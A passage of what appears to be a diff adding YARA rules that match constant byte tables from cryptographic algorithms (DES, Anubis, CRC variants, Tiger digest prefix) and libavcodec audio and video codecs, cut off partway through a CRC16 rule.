9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979796969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949493939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919190909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090908f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888887878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858584848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828281818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T5__32_big_1024_
+{
+strings:
+	$a0 = { 000000000102060802040c1003060a1804081820050a1e28060c1430070e123808103040091236480a143c500b163a580c1828600d1a2e680e1c24700f1e2278102060801122668812246c9013266a98142878a0152a7ea8162c74b0172e72b8183050c0193256c81a345cd01b365ad81c3848e01d3a4ee81e3c44f01f3e42f82040c01d2142c6152244cc0d2346ca052448d83d254ade35264cd42d274ed2252850f05d2952f6552a54fc4d2b56fa452c58e87d2d5aee752e5ce46d2f5ee2653060a09d3162a6953264ac8d3366aa853468b8bd356abeb5366cb4ad376eb2a5387090dd397296d53a749ccd3b769ac53c7888fd3d7a8ef53e7c84ed3f7e82e540809d3a41829b324284912a438697224488851a458a8312468c890a478e8f024890ad7a4992ab724a94a16a4b96a7624c98b55a4d9ab3524e9cb94a4f9ebf4250a0fdba51a2fbb252a4f1aa53a6f7a254a8e59a55aae39256ace98a57aeef8258b0cdfa59b2cbf25ab4c1ea5bb6c7e25cb8d5da5dbad3d25ebcd9ca5fbedfc260c05d2761c25b2f62c4513763c6573f64c8450765ca430f66cc491767ce4f1f68d06d6769d26b6f6ad461776bd6677f6cd875476dda734f6edc79576fde7f5f70e03da771e23baf72e431b773e637bf74e8258775ea238f76ec299777ee2f9f78f00de779f20bef7af401f77bf607ff7cf815c77dfa13cf7efc19d77ffe1fdf801d2774811f217c82192b64831b2d6c84153f548517395c861133448713354c880d1734890f113c8a091b248b0b1d2c8c050f148d07091c8e0103048f03050c903d47f4913f41fc92394be4933b4dec94355fd4953759dc963153c4973355cc982d77b4992f71bc9a297ba49b2b7dac9c256f949d27699c9e2163849f23658ca05de769a15fe161a259eb79a35bed71a455ff49a557f941a651f359a753f551a84dd729a94fd121aa49db39ab4bdd31ac45cf09ad47c901ae41c319af43c511b07d87e9b17f81e1b2798bf9b37b8df1b4759fc9b57799c1b67193d9b77395d1b86db7a9b96fb1a1ba69bbb9bb6bbdb1bc65af89bd67a981be61a399bf63a591c09dba4ec19fbc46c299b65ec39bb056c495a26ec597a466c691ae7ec793a876c88d8a0ec98f8c06ca89861ecb8b8016cc85922ecd879426ce819e3ecf839836d0bddaced1bfdcc6d2b9d6ded3bbd0d6d4b5c2eed5b7c4e6d6b1cefed7b3c8f6d8adea8ed9afec86daa9e69edbabe096dca5f2aedda7f4a6dea1febedfa3f8b6e0dd7a53e1df7c5be2d97643e3db704be4d56273e5d7647be6d16e63e7d3686be8cd4a13e9cf4c1beac94603ebcb400becc55233edc7543beec15e23efc3582bf0fd1ad3f1ff1cdbf2f916c3f3fb10cbf4f502f3f5f704fbf6f10ee3f7f308ebf8ed2a93f9ef2c9bfae92683fbeb208bfce532b3fde734bbfee13ea3ffe338ab }
+
+condition:
+	$a0
+}
+
+	
+rule DES_SPR_SPtrans__32_big_2048_
+{
+strings:
+	$a0 = { 0208080000080000020000020208080202000000000808020008000202000002000808020208080002080000000008020200080202000000000000000008000200080000000000020200080000080800020808020208000000000802020008000000000200000800000808000208000200000800020008020208000200000000000000000208080202000800000800020208080000080000000008020200080002080002000008000008080002000002000808020000000202000002020800000208080200080800020800000200080202000000000008020008000200000000000800000200000002000802020808000000000202080002000008000008080240108010000000000010800040100000400000100000801040008000001080000000800040100010000000104000800000100010401080004010000000000010001000004000801040100010000080000010801040000000000000000010001040008010001080104010800040000010400000000010000000008010401080100010001040108000400080000010801040108010001000104000001000000000400000000000801000100000401000100000800040000000001080104000801040108000000080000000000040000010000000104010801000108000401000004010001000100000000080104000800040008010000000104010000000108000040000010404010000000100040001010004000104000000040001010004010004000100000400000404000000000001040401010000010100000001040400010000000000040001040401000000010000000101040401010004000004000001040400010400010000040101040400000004010000000000040000000004010104040100000001000000000100040000000001010004000104040000040001010000000004040100000401000404000100040001040000000404010100000001000401010400000104000000040401010004000004000100040001010004010004000100000000000404000100000101040000010004010100000100040400000040100810001000000000081040100800000000104000001000100800400008104010001000000810000000000010081000000800401008004000001000000010400008004010000000100000000008004010001000100810400000000010000000100800000000004000081040100010001000104000081040100800400000104000080000100800400000100000080040100010001000000000081040000010001008000000000000100000400008000000001040000810401000000010001000000010401008004010080040000010401008000000081000100000401008004000080040100010400000100010080000100810000000100000081040100008000000000100000000040008010420080100200800040000010420080100000001000000000020080000200001040008000420080100200801040000000000000104000800000000010020000004200800040000010420000000000800002000000020080004200801042000010020080100000000040000000420080104000801040008000420000100200801000000010000000000200800002008000400080000000001040008010420000000000001042008000000000004000001002008000420000004000000000008010420080100200801040000000420000100000001040008010020080004000000042000000020000104200801000008000020800000400020004000000000802020000020004000002000800020400020000000002040802020400020200080000000800020008000004080200000002020400020000080002040802000400000000000002000000000408020200080200040802020408020000080000000000020400000004000202000002020408000200000002040800000008000200000202040802020000020004000000000800020008000000000002000802000400020000000200040802020400020200000000040802020400020200000200000800020408000004080200000002020400000000000002000800000408000204080202000802000000000204000000040802000400000400000000200010002000100000401004204000040040000420000000000010000000100020400000204010040000000000401004200010040000000020401000204000040000000400401004204000000000100020001000004000042000100400400004204010042000000000400004204010040040000020001000000000042040100400001004004000002040000400000000200010000000100400401000204000042040000420000000000000002000100000400000004010002000000000001000204010002000000420000000204000040000100420401000000010042000000000400004004010042040100000401004200010040000000400420800080208200000002008000000000200200000080008020800000208200800000008020000000008200000002008000820080200200802000008020800000000200000082008000800080200200002082008020000080000000000082000020000000008000002002008020800080008000000002000020820000000000800080000000020000200000802082008000020080200000000000000000820000208000802002008020020000008000802082000000000080008000802002000020820080008000002080000020000080008200000002008020020080208000000000008020820000008200800000000020000000208000800002000000820080 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xDB710641__32_big_refl_True_
+{
+strings:
+	$a0 = { 00000000a9d3e6a65766d0fbfeb5365daecda1f6071e4750f9ab710d507897ab595a5e5bf089b8fd0e3c8ea0a7ef6806f797ffad5e44190ba0f12f560922c9f0b2b4bcb61b675a10e5d26c4d4c018aeb1c791d40b5aafbe64b1fcdbbe2cc2b1debeee2ed423d044bbc883216155bd4b04523431becf0a5bd124593e0bb96754661a864dbc87b827d36ceb4209f1d5286cf65c52d66b6238b980315d631d0f37038f23a809121dc266f94ea7bc6470cdd963f9b763fec7dd0c1594b8d688aad2bd31cd86d7acf3ecb847a08962da9ee307dd1799bd4029f3d2ab7a96083644fc68a46863623956090dd2056cd74f3b06b248b27c08d58c16673edf73bda3e119dc350c9b66a832f109436194d3de5ffeb6d9d6840c44e8ee63afbb8bb93285e1d9a0a97ed33d9714bcd6c471664bfa1b034c7361b9d14d0bd63a1e6e0ca72004671e47500d83793a62682a5fb8f51435ddf29d4f676fa3250884f040d219ce2ab28be2b5b816dcdfd7fd8fba0d60b1d0686738aad2fa06c0bd1155a5678c6bcf0a2f8ad6d0b2b4bcbf59e7d965c4d9b300c350c9ba5e6ea3d5b53dc60f2803ac6fba2f33652711590acc423cd0517c56b556f52c0fcbcb4660209823babda649d104c11dbb99ff77d472ac120eef92786be81b02d1752568be9e760d64034867049164f80e0c5a9261e709f7bb7a379dde7dbee764e0808d0b0bd3e8d196ed82b82608edb2bb3687dd5065e207cd5b8862cad2f2d857ec98b7bcbffd6d2181970db3ad08072e936268c5c007b258fe6dd75f77176dc2497d02291a18d8b42472b30d4326d9907d4cb67b2e296ce6104309e19939b37ca753dc97f436060aca5c6698e6c36c05d8a903ee8bccd973b5a6bc743cdc06e902b6690251d3b39f6fb9de3c8ea004a1b0ca6b4ae3afb1d7ddc5d4d054bf6e4d6ad501a639b0db3b07dabba92b45b134152fdedf464a044278206145f15adbd8cf30b4339c556eaea23f0517c56b6f8afb010061a864dafc960ebffb1f740566211e6a8d727bb0104c11d082608eda1f5ee4b5f40d816f6933eb0a6eba91b0f384fbdf18d79e0585e9f464130476de8e3a1cb16569796bf857130effde69b462e003db89b36601148d0c6186a1936b1b9ff904f0cc9cde6df2f6bb6a7b8c01f745e66e1c1683b48128e9df384fbdb5a571d7da4e22b200d31cd865d495a2df49abc8b0a2f8ad6a3fc6c70aadea580030d4326fdb8757b546b93dd04130476adc0e2d05375d48dfaa6322b209823b6894bc51077fef34dde2d15eb8e558240278664e6d93352bb70e0b41d79c27dedd0119b4b2ea4ad1687774bb0d70fdc1b7edc3abd80690ce029baea46922c9f003bff79a6c54a4ffb6c99a95d3ce13ef69532d8506b87ee0dc25408abcb76c15b62a527fd9c1011a035c3f70665bb60adcc68860b32ddb0569b0e56f0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_248_areas__8_byt_64_
+{
+strings:
+	$a0 = { 00000101010202030000010102020203000101020202030300010102020203030101020202030303010102020203030301020202030303030102020303030303 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x5005713c__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000001fda38453fb4708a206e48cf0675a10119af994439c1d18b261be9ce0ceb420213317a47335f32882c850acd0a9ee3031544db46352a93892af0abcc19d68404060cbc412662f48e39b8cccb1fa3250500791d402017558f3fcd6dca153dc6060ae7fe432a89b68c35538ec9134867070c925f422cfc178d33262fc833ad08082c77304d0c19788213c340c735d8a9092a02914c0a6cd98315b6e1c63f464a0a209c724f00f23a801f2802c53933eb0b26e9d34e06879b81195da3c42a7b8c0c35a1b44915cffc860a15c4c32c0e2d0d33d4154813ba5d870c6065c22690ce0e394af64b1924be8406fe86c120e56f0f3f3f574a1f511f85008b27c01e475005019d684021f3208f3e2918ca1832f10407e8c9412786818e385cb9cb12ac12070d762a422d18628d32c25ac814d9b3060b038b432b6dc38c34b7fbc90791d401184bec443825a48b27ff9cce01e475001e3e4d453e50058a218a3dcf0b7a960314a0ae4634cee6892b14decc0d0f370212d50f4732bb47882d617fcd2dea580d32306048125e28870d8410c22b9ff90c3445c149142b89860bf1b1c321011a0f3edb224a1eb56a85016f52c02774bb0e38ae834b18c0cb84071af3c1343cdc092be6e44c0b88ac83145294c632497d082d93454d0dfd0d82122735c738d79e0b270da64e0763ee8118b9d6c43ea23f0a2178074f01164f801ecc77c53c8ea00a2354984f033ad0801ce0e8c53afb010b2521394e054f71811a9549c43065e2082fbfda4d0fd19282100baac73610430929ca7b4c09a43383167e0bc62558240e3a821c4b1aec548405366cc1232d850f3cf7bd4a1c99f5850343cdc029b3660c36695e491607168609dd2ec32fc6c70d301cff481072b7870fa88fc20f23a80210f990473097d8882f4de0cd09560903168c314636e27989293841cc03c8ea001c12d2453c7c9a8a23a6a2cf05bd4b011a6773443a093b8b25d303ce16f52c06092f144329415c8c369b64c910808d070f5ab5422f34fd8d30eec5c81a1e6e0405c4564125aa1e8e3a7026cb1c6bcf0503b1f74023dfbf8f3c0587ca22c9f00f3d13c84a1d7d808502a7b8c024bc510e3b66694b1b08218404d219c12e22b20d31f88a481196c2870e4cfac22857130c378d2b4917e3638608395bc33b1f740b24c54c4e04ab04811b713cc43d6ad50a22b0ed4f02dea5801d049dc537f43609282e0e4c08404683179a7ec6318197082e5baf4d0e35e78211efdfc71164f8070ebec0422ed0888d310ab0c81711590608cb614328a5298c377f11c91d8fba0502558240223bca8f3de1f2ca1bfa1b0404202341244e6b8e3b9453cb08b27c031768444637060c8928dc34cc0ec7dd02111de5473173ad882ea995cd04593e011b8306443bed4e8b243776ce022c9f001df6a7453d98ef8a2242d7cf }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_Tiger__8_byt_19_
+{
+strings:
+	$a0 = { 3029300d06092b06010401da470c0205000418 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_16_128__avcodec___faad___32_lil_60_
+{
+strings:
+	$a0 = { 04000000080000000c0000001000000014000000180000001c0000002000000028000000300000003c00000048000000580000006c00000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_scale_factor_quant7__32_lil_512_
+{
+strings:
+	$a0 = { 010000000100000002000000020000000200000002000000030000000300000003000000040000000400000005000000060000000700000007000000080000000a0000000b0000000c0000000e000000100000001200000014000000170000001a0000001e00000022000000260000002c00000032000000380000004000000048000000520000005d0000006a00000078000000880000009b000000b0000000c8000000e200000001010000240100004b01000078010000ab010000e40100002602000070020000c402000024030000900300000b0400009704000036050000ea050000b60600009e070000a5080000d0090000230b0000a40c0000590e0000491000007c120000fa140000cf170000061b0000ac1e0000d122000084270000da2c0000e8320000c7390000944100006f4a00007b540000e35f0000d56c0000877b0000348c0000229f00009eb4000001cd0000aee8000018080100c02b010038540100278201004ab6010076f10100a0340200db80020061d70200953903000ba903008e27040026b70400205a05001b13060010e506005dd30700d7e10800d5140a0046710b00c2fc0c00a3bd0e001ebb100063fd1200ba8d1500ad76180035c41b00e4831f0025c5230075992800b0142e005e4d3400135d3b00d8604300a0794c00d1cc5600de846200f5d16f00c6ea7e00000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Binary_arithmetic_decoder__LPSTable___T264_cabac_range_lps__32_lil_1024_
+{
+strings:
+	$a0 = { 80000000b0000000d0000000f000000080000000a7000000c5000000e3000000800000009e000000bb000000d80000007b00000096000000b2000000cd000000740000008e000000a9000000c30000006f00000087000000a0000000b9000000690000008000000098000000af000000640000007a00000090000000a60000005f00000074000000890000009e0000005a0000006e000000820000009600000055000000680000007b0000008e000000510000006300000075000000870000004d0000005e0000006f000000800000004900000059000000690000007a0000004500000055000000640000007400000042000000500000005f0000006e0000003e0000004c0000005a000000680000003b0000004800000056000000630000003800000045000000510000005e00000035000000410000004d00000059000000330000003e0000004900000055000000300000003b00000045000000500000002e00000038000000420000004c0000002b000000350000003f0000004800000029000000320000003b0000004500000027000000300000003800000041000000250000002d000000360000003e000000230000002b000000330000003b0000002100000029000000300000003800000020000000270000002e000000350000001e000000250000002b000000320000001d0000002300000029000000300000001b00000021000000270000002d0000001a0000001f000000250000002b000000180000001e0000002300000029000000170000001c0000002100000027000000160000001b0000002000000025000000150000001a0000001e0000002300000014000000180000001d0000002100000013000000170000001b0000001f00000012000000160000001a0000001e0000001100000015000000190000001c0000001000000014000000170000001b0000000f0000001300000016000000190000000e0000001200000015000000180000000e0000001100000014000000170000000d0000001000000013000000160000000c0000000f00000012000000150000000c0000000e00000011000000140000000b0000000e00000010000000130000000b0000000d0000000f000000120000000a0000000c0000000f000000110000000a0000000c0000000e00000010000000090000000b0000000d0000000f000000090000000b0000000c0000000e000000080000000a0000000c0000000e00000008000000090000000b0000000d00000007000000090000000b0000000c00000007000000090000000a0000000c00000007000000080000000a0000000b0000000600000008000000090000000b0000000600000007000000090000000a0000000600000007000000080000000900000002000000020000000200000002000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_0__16_lil_64_
+{
+strings:
+	$a0 = { 40826483ce845d860588de89d78bf48d5190e292de950f99819c79a04ca5d2aa8ab10ab924c1ccc939d3d3ddd6e993f86f09ca1aec291f38f9456a54c363b573 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_ma_predictor__16_big_160_
+{
+strings:
+	$a0 = { 20e5239523d72305234a2361223d2247239221e11b6a1c151dd61c8b1d141cd31b7e1b2c1b121ad41560137e140e1439147e1415145613e712de141b0fd80bd70a360bd00b640a990ced0ca50b290d911e351ec81ffc1fef2037212a21bd219920a71d9110720bd709f80d910f240f0d1058103a0f450f800c8e078a0521085f09bd09510ac30a9209ee0b670bd0063803ac065f06bb062b07f2082407790a29 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC16_poly_0xb005__16_lil_refl_False_
+{
+strings:
